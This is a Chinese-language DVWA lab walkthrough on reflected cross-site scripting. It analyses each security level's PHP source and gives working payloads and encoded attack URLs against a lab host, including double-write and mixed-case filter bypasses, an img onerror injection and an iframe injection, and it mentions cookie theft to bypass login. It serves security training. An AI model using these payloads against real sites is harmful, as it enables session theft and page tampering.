DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

XSS

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行。

XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS反射型的XSS

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

CSRF与XSS二者区别

CSRF无法获取受害者的cookie,无法看到cookie;

             只是利用受害者是被服务器信任的(靠验证cookie),而给服务器发送请求;

XSS:利用cookie只是xss的一种体现,xss还可以篡改网页、URL跳转等等;

           跨站脚本,脚本可以做什么,xss就可以做什么;

           单在利用cookie上来说:获取受害者的cookie,从而得到服务器的信任,进行后续攻击 。

           获取手段是反射、存储、dom。

注:不同浏览器cookie不能共享


反射型XSS

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

目录

low级别源码分析

medium级别源码分析

high级别源码分析

impossible级别源码分析


low级别源码分析

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

array_key_exists()函数:检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

注:如果指定数组的时候省略了键名,将会生成从 0 开始并且每个键值对应以 1 递增的整数键名

(详情见:https://www.w3school.com.cn/php/func_array_key_exists.asp

该源码键名为“name”,也就是说得到的数组中必须含有“name”即可,未做任何过滤,存在XSS漏洞

漏洞利用

插入XSS语句

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

成功弹窗

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

链接为:

http://192.168.109.140/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

盗取cookie值,绕过登录

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

打开谷歌浏览器,输如下网址,并修改cookie值和安全级别

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

成功绕过登录!


medium级别源码分析

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

与low级别相比,增加了str_replace()函数,作用是以其他字符替换字符串中的一些字符(区分大小写)。

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

(详情见:https://www.w3school.com.cn/php/func_string_str_replace.asp

这个函数基于黑名单的思想,将输入的<script>过滤掉了,但由于str_replace()函数区分大小写,可以想办法进行绕过。

漏洞利用

双写绕过:<sc<script>ript>alert(/xss/)</script>

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

链接为:http://192.168.109.140/dvwa/vulnerabilities/xss_r/?name=%3Csc%3Cscript%3Eript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

大小写混淆绕过:<ScRipt>alert(/xss/)</script>

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

链接为:

http://192.168.109.140/dvwa/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#


high级别源码分析

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

与medium源码相比 ,增加了preg_replace()函数,作用是执行一个正则表达式的搜索和替换。

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

(详情见:https://www.runoob.com/php/php-preg_replace.html

该源码使用了正则表达式搜索和替换,由于正则表达式不区分大小写且字母逐个进行匹配替换,所以无法再进行大小写绕过和双写绕过。在这里<script>标签无法再使用注入XSS代码,但可以使用其他标签。

漏洞利用

可以通过img、input、a、form、on等标签的事件或者iframe等标签的src注入恶意的js代码

<img src=1 οnerrοr=alert(/xss/)>

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

链接为:

http://192.168.109.140/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

 <iframe src="http://www.baidu.com" height="250" width="300"></iframe>

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

链接为:http://192.168.109.140/dvwa/vulnerabilities/xss_r/?name=+%3Ciframe+src%3D%22http%3A%2F%2Fwww.baidu.com%22+height%3D%22250%22+width%3D%22300%22%3E%3C%2Fiframe%3E#


impossible级别源码分析

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

与high级别源码相比,增加了Anti-CSRF token机制htmlspecialchars()函数。

Anti-CSRF token机制在前面的dvwa系列已经详细解释过,这里不再赘述。

htmlspecialchars()函数:将特殊字符转换为 HTML 实体,防止浏览器将其作为HTML元素。

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用(详情见:https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

<IMG src="javascript:alert('XSS')"

DVWA系列之XSS(跨站脚本攻击)——反射型XSS源码分析及漏洞利用

无法进行有效的漏洞利用